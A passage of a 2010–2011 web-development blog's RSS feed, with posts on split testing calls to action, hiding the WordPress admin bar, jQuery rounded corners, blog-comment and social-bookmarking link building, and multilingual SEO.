<p>With your business&#8217; website, you want visitors to take action, whether it&#8217;s to contact you for your services or to make a purchase through your store. This can be a lot easier if there&#8217;s a bit button or image that acts as a call to action. People love images and are easily drawn to these kinds of things as long as they are designed properly. This is where the split testing comes into play.</p>
<p>One great example is this site <a target="_blank" href="http://www.privatejetscharter.net">http://www.privatejetscharter.net</a> ,on private jets. At the top, the navigation bar allows users to go through different topics on private jets, and at the end of each mini description is a call to action to read more on the subject. In addition to that, below the navigation bar to the right is a call to action for a quote on a private jet trip. The button for this is easily visible, and your eyes are naturally drawn to it.</p>
<h3>Split Test and Convert</h3>
<p>The above examples clearly show how important it is to split test website designs in order to determine which ones have the best conversion rates. This way, you can take your business to another level.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1666&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/web-design/building-websites-and-conversions/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Turn Off WordPress Admin Bar</title>
		<link>http://www.shanestrong.com/wordpress-help/turn-off-wordpress-admin-bar</link>
		<comments>http://www.shanestrong.com/wordpress-help/turn-off-wordpress-admin-bar#comments</comments>
		<pubDate>Thu, 24 Feb 2011 09:58:15 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[Theme Development]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[WordPress-Help]]></category>
		<category><![CDATA[WordPress Admin Bar]]></category>
		<category><![CDATA[WordPress Themes]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1638</guid>
		<description><![CDATA[WordPress is really trying to make there cms as user friendly as possible. With the new release of version 3.1 WordPress has included a admin bar for logged in users. As a lot of people are wondering is it possible to remove this item that has been included. Well the answer is yes. There is [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress is really trying to make there cms as user friendly as possible.  With the new release of version 3.1 WordPress has included a admin bar for logged in users.  As a lot of people are wondering is it possible to remove this item that has been included.  Well the answer is yes.  There is actually a couple ways to remove the admin bar.  First option would be to download a plugin that does it for you.  Not the worst option but not really the best either.  If you would like to disable this option just for your user, you can by going to your account and editing it there.  Here is a image for more help:</p>
<p><img src="http://www.shanestrong.com/wp-content/uploads/2011/02/adminbar.jpg" alt="" title="adminbar" width="300" height="204" class="clear size-full wp-image-1640" /></p>
<h3>Other Options</h3>
<p>Well I know personally I don&#8217;t want my users to have this ability.  So I want to have this not display for everyone not just myself.  This is not as easy as the other two options but is not that hard also.  What you need to do is get access to your functions.php file in your theme folder.  Now you need to edit that file and add the following lines of code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//Disables Admin Bar</span>
add_filter<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'show_admin_bar'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'__return_false'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Now this will disable the admin bar for all users but all users will still see the option if they edit there account.  So we also need to hide the option from the user and that will take adding this code to your functions.php file:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//Hide Admin Bar Options</span>
add_action<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'admin_print_scripts-profile.php'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'hide_admin_bar_prefs'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> hide_admin_bar_prefs<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
<span style="color: #339933;">&lt;</span>style type<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/css&quot;</span><span style="color: #339933;">&gt;</span>
    <span style="color: #339933;">.</span>show<span style="color: #339933;">-</span>admin<span style="color: #339933;">-</span>bar <span style="color: #009900;">&#123;</span> display<span style="color: #339933;">:</span> none<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #339933;">&lt;/</span>style<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span> ?php
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Now this will disable the admin bar option and the admin bar for all users.  Hope this helped everyone.</pre>
<h3>Sponsors</h3>
<p>To get the best deals in <a target="_blank" href="http://www.psprint.com" title="Online Printing">online printing</a> try PsPrint Commercial Printing!</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1638&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/wordpress-help/turn-off-wordpress-admin-bar/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jQuery Cool Corners</title>
		<link>http://www.shanestrong.com/web-development/jquery-cool-corners</link>
		<comments>http://www.shanestrong.com/web-development/jquery-cool-corners#comments</comments>
		<pubDate>Wed, 09 Feb 2011 09:45:30 +0000</pubDate>
		<dc:creator>Shane</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Web Design]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[jQuery Cool Corners]]></category>
		<category><![CDATA[jQuery Corners]]></category>
		<category><![CDATA[jQuery Rounded Corners]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1355</guid>
		<description><![CDATA[With the advancements in the web industry designers are getting more creative and CSS is having a hard time keeping up with some stuff. Well almost anything that you would like to do can be done with jQuery. For instance one of my favorite thing to do is create some great looking corners. Well CSS [...]]]></description>
			<content:encoded><![CDATA[<p>With the advancements in the web industry designers are getting more creative and CSS is having a hard time keeping up with some stuff.  Well almost anything that you would like to do can be done with jQuery.  For instance one of my favorite thing to do is create some great looking corners.  Well CSS has some different things that you can do with corners but a lot of these are limited to certain browsers.  Well Dave Methvin created a great jQuery script that handles many different kinds of cool corners.  With these corners being rendered in jQuery it makes them browser complaint across every major browser and most all up-to-date browsers.</p>
<h3>How To Implement Cool Corners</h3>
<p>First of all you must pull in jQuery into your website.  The best way of doing this is by linking to http://code.jquery.com/jquery-svn.js in your header or footer link this:</p>

<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">//jQuery SVN Updated Version
&lt;script src=&quot;http://code.jquery.com/jquery-svn.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre></div></div>

<p>The next thing that you have to do is pull in Dave Methvin corners script.  This can be done by downloading the script from <a target="_blank" href="http://methvin.com/corner/jquery.corner.js">Here</a>.  This also needs to be added to the header or the footer like this.</p>

<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">//Dave Methvin's
&lt;script src=&quot;Location Of File On Your Server&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre></div></div>

<h3>Adding Final Code</h3>
<p>In order to get these amazing different corners to work on your web page all you need to do is call out the classes of the spots you want to activate the corners.  Also you need to decide which of the many types of corners you would like to use.  Yes I said MANY TYPES.  Dave Methvin created this script with many different kinds of corners you can choose from.  For Instance Rounded, Beveled, Notched, Bite, Dog-ear, Sculpt, Sharp and many more.  You can find all of the corner types at <a target="_blank" href="http://methvin.com/corner/jq-corner-demo.html">jQuery Corner Demo</a>.  Now back to the code, once you have decide on the type you need to add this after the Methvin&#8217;s script.</p>

<div class="wp_syntax"><div class="code"><pre class="js" style="font-family:monospace;">//Some Different Examples
&lt;script type=&quot;text/javascript&quot;&gt;
	jQuery(document).ready(function($) {
		$(&quot;.YOUR CLASS&quot;).corner(&quot;10px&quot;);
		$(&quot;.YOUR CLASS&quot;).corner(&quot;bevel 10px&quot;);
		$(&quot;.YOUR CLASS&quot;).corner(&quot;notch 10px&quot;);
		$(&quot;.YOUR CLASS&quot;).corner(&quot;cool 10px&quot;);
		$(&quot;.YOUR CLASS&quot;).corner(&quot;curl 10px&quot;);
		$(&quot;.YOUR CLASS&quot;).corner(&quot;sculpt 10px&quot;);
	});
&lt;/script&gt;</pre></div></div>

<p>Here is a download able and viewable demo of the script in action that I have created.  This demo involves all of the above examples.</p>
<p>jQuery Cool Corners: <a href="http://www.shanestrong.com/jquery/cool-corners/coolcorners.htm" title="jQuery Cool Corners Demo">Cool Corners Demo</a></p>
<p>Download: <a class="downloadlink" href="http://www.shanestrong.com/downloads79" title="Version1.0 downloaded 12 times" >jQuery Cool Corners (12)</a></p>
<p>For even more about this great script I would read up on <a target="_blank" href="http://methvin.com/corner/">Methvin&#8217;s Gallery</a> and also on <a target="_blank" href="http://methvin.com/corner/jq-corner-demo.html">Methvin&#8217;s Demo</a>.</p>
<h3>Development And Consulting</h3>
<p>Contact Shane Strong for any of your web development, WordPress theme development, Magento development, PHP, and jQuery needs.  You can view my <a href="http://www.shanestrong.com/portfolio">portfolio</a> for some of my work.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1355&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/web-development/jquery-cool-corners/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link Building 101 &#8211; Blog Commenting Part 2</title>
		<link>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-2</link>
		<comments>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-2#comments</comments>
		<pubDate>Thu, 13 Jan 2011 03:38:58 +0000</pubDate>
		<dc:creator>marketermatt</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Blog Commenting]]></category>
		<category><![CDATA[Link Building]]></category>
		<category><![CDATA[Marketer Matt]]></category>
		<category><![CDATA[TypePad]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1594</guid>
		<description><![CDATA[Our last post in the Link Building series covered the technique of commenting on blogs in order to get relevant links back to your website. This post will cover more tips for commenting on blogs that will help you get even better results! Government and Educational Blogs. It is well known that Google tends to [...]]]></description>
			<content:encoded><![CDATA[<p>Our last post in the Link Building series covered the technique of commenting on blogs in order to get relevant links back to your website. This post will cover more tips for commenting on blogs that will help you get even better results!</p>
<ul>
<li><strong>Government and Educational 	Blogs. </strong>It is well known that Google tends to favor links that link out from .gov and .edu websites. This means that any links that you can score from government, university, or k-12 school blogs will most likely make 	your blog commenting campaigns even more effective. It may be tough to find relevant blogs with a .gov or .edu extension but the power of these links will likely offset the fact that they aren&#8217;t relevant.</li>
<li><strong>Deep Linking with TypePad.</strong> Most people build links to their home page. However, best practice dictates that you have lots of links pointed to your interior pages (pages that are not your home page) as well. So how do you get 	these? Well some blogs will let you put in a URL that points to one of your interior pages (ex. http://www.yoursite.com/interior-page/). TypePad is one of the only blogging platforms that allows you to post these types of URLs in comments but fortunately, lots of people use both the TypePad website itself as well as installing in on their own domain. To find these types of blogs, type in something like this into Google: “[your key word here]” “blog” “typepad” &#8211; “comments off”. This will return results that have your keyword mentioned which also have the terms “blog” and “typepad” on the page or in the URLs while also removing any websites that have “comments off” so that you don&#8217;t have to filter through as many blogs to find good ones to post on. This is a fabulous way to get interior links!</li>
<li><strong>Ask Questions. </strong>As we mentioned in the last post, you should be submitting comments 	that aren&#8217;t spammy. You should be adding comments that actually add 	value to the blog site and to the blog post. One of the best ways to do this is by asking questions within your comments. Often times on blogs, there is a check box that you can click which will cause the blog site to automatically send you an email whenever someone responds to your comment. If you are finding blogs relevant to your 	niche, this is a great way to start a conversation which can result in multiple links to your site and could even create a relationship with other readers or with the blog owner. These relationships can result in other link building opportunities such as getting placed on others&#8217; blog rolls or working on guest posting arrangements.</li>
<li><strong>Very Your Input in the “Name” Field.</strong> You don&#8217;t want every single link coming to your website to have the exact same anchor text. To avoid this, you should vary the words that you type into the name field. Here are a few examples
<ul>
<li>Doug @ Best Pet Supplies</li>
<li>Doug – Pet Supplies Store</li>
<li>Doug Brown ~ Pet Supplies</li>
</ul>
<p>I recommend coming up with 5 to 10 of these names that include the keyword terms that you want to get ranked for and then rotating them.</li>
<li><strong>Save Time By Copying and Pasting.</strong> It may seem simple but if you create a document with your 5-10 lines that you want to use in the Name field and the URLs of your website and of the interior pages you want to point links at, you can just copy and paste the text into the appropriate fields. It&#8217;ll make the process faster and you&#8217;ll get more links!</li>
</ul>
<p>And there you have it! A few of my best tips for making blog commenting an efficient and effective process. Stay tuned for the next installation of the Link Building 101 series.</p>
<p>- Marketer Matt &#8211; <a target="_blank" href="http://marketermatt.com/" target="_blank">King of the Internet</a></p>
<hr />This post was written by internet marketing expert Matt Hall of Scepter Marketing. Scepter Marketing is an <a target="_blank" href="http://sceptermarketing.com/">online marketing agency</a> which helps small businesses skyrocket their business via the internet through services such as <a target="_blank" href="http://sceptermarketing.com/local-email-marketing/" target="_blank">local email marketing</a> and <a target="_blank" href="http://sceptermarketing.com/social-media-management/" target="_blank">social media management</a> as well as their ever growing proprietary network of local consumers.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1594&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Link Building 101 &#8211; Blog Commenting Part 1</title>
		<link>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-1</link>
		<comments>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-1#comments</comments>
		<pubDate>Thu, 06 Jan 2011 04:09:45 +0000</pubDate>
		<dc:creator>marketermatt</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Blog Commenting]]></category>
		<category><![CDATA[Link Building]]></category>
		<category><![CDATA[Marketer Matt]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1591</guid>
		<description><![CDATA[Blog commenting is one of the quickest most effective ways of building links to your website. Anyone can set up a blog these days and many people do! Companies have blogs, individuals have blogs, informational websites have blogs, government websites have blogs, any pretty much everyone else. Blogs exist for pretty much every conceivable niche [...]]]></description>
			<content:encoded><![CDATA[<p>Blog commenting is one of the quickest most effective ways of building links to your website. Anyone can set up a blog these days and many people do! Companies have blogs, individuals have blogs, informational websites have blogs, government websites have blogs, any pretty much everyone else. Blogs exist for pretty much every conceivable niche from aliens to dog walking to leadership to religion.</p>
<p>So how can blogs help you get your site ranked higher in Google? Well, most blogs allow people to comment on their blogs. A comment is just that, a comment. They generally appear below a blog post and give the readers of the blog an opportunity to voice their thoughts and opinions. And many blogs automatically create a link that links back to the website or blog of the one who is commenting (that means you!) You just write up your comment on the blog, punch in your name and website URL and submit!</p>
<p>Here are a few quick guidelines that you should keep in mind when commenting on blogs.</p>
<ol>
<li><strong>Make sure the blog links out.</strong> Not every blog allows readers to comment. Of the ones that do allow comments, not all of them allow you to enter your website or blog to get a link. Before you bother 	reading a whole blog post, scroll to the bottom of the post to make sure that the blog allows comments and that it includes a field for you to enter in your URL. If not, don&#8217;t waste your time.</li>
<li><strong>Comment on blogs that are relevant to your niche.</strong> It is reported that Google uses relevancy as a factor in its algorithm. Simply put, if your website is about dog training, links from dog training blogs would probably be the most relevant links to get followed by other dog related blogs. Non-relevant links are still good to get of 	course, and you should work to get some of these linking to you as well. Just keep the 80/20 rule in mind and get most of your links from blogs related to your niche.</li>
<li><strong>Actually write a comment.</strong> Yes, you may get away with a comment that says, “great post!” or &#8220;good information, I like much&#8221; but would 	you want those types of comments on your blog? Didn&#8217;t think so. When you are commenting on blogs it&#8217;s best to at least skim the blog post you will be commenting on. Once you are finished skimming, write a brief 2-3 sentence comment that praises the blog. Many blogs are moderated so writing non-spammy comments will keep your comments from getting deleted as often. Also, you may even spark a conversation on the blog that could results to more traffic to your site, partnerships with bloggers, or other great benefits.</li>
<li><strong>Put your keywords in the “Name” field.</strong> While some people frown on this, it still works. As we&#8217;ve 	learned already, anchor text is important when building links to your site. So when you type in your name you may want to try something like: Doug @ [your non-spammy sounding keywords or your 	website/company name]. Doug @ Best Pet Supplies sounds fine and will make sense if you are posting on some type of pet related site. Doug &#8211; Bird Feeder Cat Food is a little more obvious and makes a blog 	look spammy which bloggers (including me) don&#8217;t really care for.</li>
</ol>
<p>With these brief tips you should be able to create hoards of links linking back to your site from other relevant sites with relevant anchor text! What more could you ask for in a link? I recommend taking 10-20 minutes a day and getting 5-10 links from blog comments. Over the course of a year you&#8217;ll have upwards of 1500 links or more from blog commenting alone!</p>
<p>Stay tuned for Part 2 of Blog Commenting in this series on Link Building!</p>
<p>- Marketer Matt &#8211; <a target="_blank" href="http://marketermatt.com/" target="_blank">King of the Internet</a></p>
<hr />This post was written by internet marketing expert Matt Hall of Scepter Marketing. Scepter Marketing is an <a target="_blank" href="http://sceptermarketing.com/">internet marketing company</a> which helps small businesses skyrocket their business via the internet through services such as <a target="_blank" href="http://sceptermarketing.com/local-email-marketing/" target="_blank">local email marketing</a> and <a target="_blank" href="http://sceptermarketing.com/social-media-management/" target="_blank">social media management</a> as well as their ever growing proprietary network of local consumers.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1591&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/seo/link-building-101-blog-commenting-part-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to make your website multilingual</title>
		<link>http://www.shanestrong.com/multilingual/how-to-make-your-website-multilingual</link>
		<comments>http://www.shanestrong.com/multilingual/how-to-make-your-website-multilingual#comments</comments>
		<pubDate>Wed, 01 Dec 2010 20:01:09 +0000</pubDate>
		<dc:creator>Lingo24</dc:creator>
				<category><![CDATA[Keyword Translation]]></category>
		<category><![CDATA[Multilingual]]></category>
		<category><![CDATA[Translation Service]]></category>
		<category><![CDATA[keyword Translation]]></category>
		<category><![CDATA[Lingo24]]></category>
		<category><![CDATA[Multilingual Website]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1518</guid>
		<description><![CDATA[While English is arguably the most widely spoken language in the world (with some estimates putting Mandarin Chinese slightly ahead), the majority of the world&#8217;s population speaks no English at all. Of those that do, many speak it as a second language and studies have shown that web users place more trust in sites written [...]]]></description>
			<content:encoded><![CDATA[<p>While English is arguably the most widely spoken language in the world (with some estimates putting Mandarin Chinese slightly ahead), the majority of the world&#8217;s population speaks no English at all. Of those that do, many speak it as a second language and studies have shown that web users place more trust in sites written in their own native language, especially when it comes to making purchases online. A multilingual approach to website design and marketing will obviously increase your chances of reaching the global market that the internet puts within your grasp.</p>
<h3>Keyword Translation</h3>
<p>There are a number of ways to translate your content. The simplest is to install a translation widget like Google Translate, allowing visitors to translate content to a language of their choice at the click of a button. Inline translation code provides a more intuitive automatic translation but all machine translation is prone to linguistic, grammatical and contextual mistakes. Using a translation service provided by a native speaker from your target market will help avoid mistakes but this will almost certainly be the most expensive option.</p>
<p>However you decide to translate your content, you should never rely on a straight &#8216;dictionary translation&#8217; of your keywords. Keywords that are successful in English might not be in another language, as many alternative terms can be used. A literal French translation of “car insurance”, for example, would be “assurance automobile”. This yields very few results on Google&#8217;s French keyword tool, whereas alternative terms like “assurance auto” and “assurance voiture” are far more successful.</p>
<p>There&#8217;s no need to ditch your carefully researched English keywords entirely. Translate and then use them as a jumping off point to research alternatives, with the assistance of a native speaker if possible, and take a sneaky peek to see which keywords your local competitors are using.</p>
<h3>Localization</h3>
<p>The ways in which a single language is used can vary from place to place. There are many differences in vocabulary and especially colloquialisms between the English spoken in the UK, USA, India and Australia. Similarly, there are differences between the Spanish spoken in Latin America and that of Spain. If you decide to group territories together by a common language and target them by language alone, you should ensure that your content is able to cross those geographical and cultural divides.</p>
<p>Targeting your markets by country will not only address this problem but will open up a range of options when it comes to SEO. One option is to invest in country-code top level domains (ccTLDs) for your localized sites. Using ccTLDs (such as .de for Germany or .sa for Saudi Arabia) will boost your rankings on Google&#8217;s local search engine and any other local competitors. You&#8217;ll receive a further boost if you ensure that the site is hosted on a server located within the target country.</p>
<p>You can also use geolocation to identify a visitorâ€™s location by checking the country in which their IP address is registered and then direct them to the appropriate localized site. Establishing links with sites located in the target country will also help with SEO. In practical terms this could involve sourcing local sites that are highly ranked on web traffic information site Alexa and posting, say, forum posts in a Russian site to link back to your own Russian pages.</p>
<h3>Subdomains and Subdirectories</h3>
<p>If you decide not to invest in ccTLDs you should at least set up your localized content in separate subdomains and subdirectories. An example of a subdomain would be de.example.com and a subdirectory would be example.com/de/. Google has a <a target="_blank" href="http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=62399">Geographic Targeting</a> tool in Webmaster Tools that allows you to specify particular countries as the relevant audience for different subdirectories or subdomains.</p>
<h3>Other Search Engines</h3>
<p>While Google is the most popular search engine in most markets, others are dominant within their own local markets. Baidu is the most popular search engine in China for example, while Seznam is the most widely used in the Czech Republic and Yahoo! has the largest market share in Japan. The principles of SEO are broadly the same for each but there may be small yet significant differences and you should focus on the keyword and other research tools of whichever engine(s) are dominant in your target market.</p>
<p>About the author: Christian Arno is the founder and Managing Director of global Lingo24, a top <a target="_blank" title="Language Translation Services Agency" href="http://www.lingo24.com/">translation service</a> provider. Launched in 2001, Lingo24 now has over 120 employees spanning four continents and clients in over sixty countries. <span style="text-decoration: underline;"><a target="_blank" title="Contact Lingo24" href="http://www.lingo24.com/contact_us.html">Contact Lingo24</a></span> with a translation request mentioning <a title="WordPress Development, SEO, Web Marketing, and More" href="http://www.shanestrong.com">http://www.shanestrong.com/</a> before 31 December 2010 and receive a 10% discount on your first order.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1518&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/multilingual/how-to-make-your-website-multilingual/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Link Building 101 &#8211; Social Bookmarking</title>
		<link>http://www.shanestrong.com/seo/link-building-101-social-bookmarking</link>
		<comments>http://www.shanestrong.com/seo/link-building-101-social-bookmarking#comments</comments>
		<pubDate>Thu, 11 Nov 2010 04:54:43 +0000</pubDate>
		<dc:creator>marketermatt</dc:creator>
				<category><![CDATA[Marketing]]></category>
		<category><![CDATA[SEM]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Link Building]]></category>
		<category><![CDATA[Marketer Matt]]></category>
		<category><![CDATA[Search Engine Optimization]]></category>
		<category><![CDATA[social bookmarking]]></category>
		<category><![CDATA[social media]]></category>

		<guid isPermaLink="false">http://www.shanestrong.com/?p=1511</guid>
		<description><![CDATA[Bookmarking is the process of saving web pages that you like or want to remember so that you can come back and view them later. If you are an avid internet user, you probably already have several web pages bookmarked using your internet browser. Bookmarking is great because it allows you to keep and organize [...]]]></description>
			<content:encoded><![CDATA[<p>Bookmarking is the process of saving web pages that you like or want to remember so that you can come back and view them later. If you are an avid internet user, you probably already have several web pages bookmarked using your internet browser. Bookmarking is great because it allows you to keep and organize all the information on the web that is relevant to you.</p>
<p>Social bookmarking is essentially the same things as bookmarking web pages using your browser with a few exceptions. Social bookmarking sites allow you to save your favorite bookmarked web pages online so that you can access them from anywhere. They are called &#8220;social&#8221; bookmarking sites because they also allow you to share the web pages you&#8217;ve uploaded with your friends or followers.</p>
<p>Okay that&#8217;s great, but how do they help you? Well, because these bookmarking sites are online rather than just on your internet browser, they provide links back to your website! Each site is slightly different but here&#8217;s a quick list of a few sites to get you started: Diigo, Reddit, Mixx, JumpTags and Delicious. You can find a more comprehensive list here: <a target="_blank" href="http://www.searchenginejournal.com/125-social-bookmarking-sites-importance-of-user-generated-tags-votes-and-links/6066/" target="_blank">125 Social Bookmarking Sites</a></p>
<p>To start getting your links from these sites simply sign up for their free accounts and start bookmarking your web pages! When prompted, enter in tags for your various bookmarks to help other people find your information. The more other people who bookmark your website, the more links you&#8217;ll get so don&#8217;t skip this step! (But don&#8217;t over-tag your pages either!)</p>
<p>Note: These websites were NOT created for you to just bookmark your own stuff. They are are meant to be places where users share interesting, fun, and valuable information with each other. Because of this, you should seriously consider bookmarking lots of other web pages in addition to your own. The best practice is to bookmark other valuable web pages that are along the same topic or theme of your own web pages so you aren&#8217;t just being a self-promoter. This also has the added benefit of increasing the relevancy of the page your link is on which is more of a Link building 200 concept.</p>
<p>Bookmarking your web pages is an easy way to generate links to your website. It is generally a great idea to bookmark every new blog post you make or any other new content that you make on your website. Not only will this get you a few links, it will also help the search engines to quickly find and index your website!</p>
<p>As you&#8217;ll quickly find out, bookmarking each page that you have on each of dozens of social bookmarking sites is very tedious and gets old fast. To help you move through the process more quickly, consider using a website like <a target="_blank" href="http://www.socialmarker.com/" target="_blank">Social Marker</a> to help automate the process.</p>
<p>Stay tuned for Part 3 on Blog Commenting!</p>
<p>- Marketer Matt &#8211; <a target="_blank" href="http://marketermatt.com/" target="_blank">King of the Internet</a></p>
<hr />This post was written by internet marketing expert Matt Hall of Scepter Marketing. Scepter Marketing is an <a target="_blank" href="http://sceptermarketing.com/" target="_blank">online marketing agency</a><a target="_blank" href="http://sceptermarketing.com/"></a> which helps small businesses skyrocket their business via the internet.</p>
<img src="http://www.shanestrong.com/?ak_action=api_record_view&id=1511&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.shanestrong.com/seo/link-building-101-social-bookmarking/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

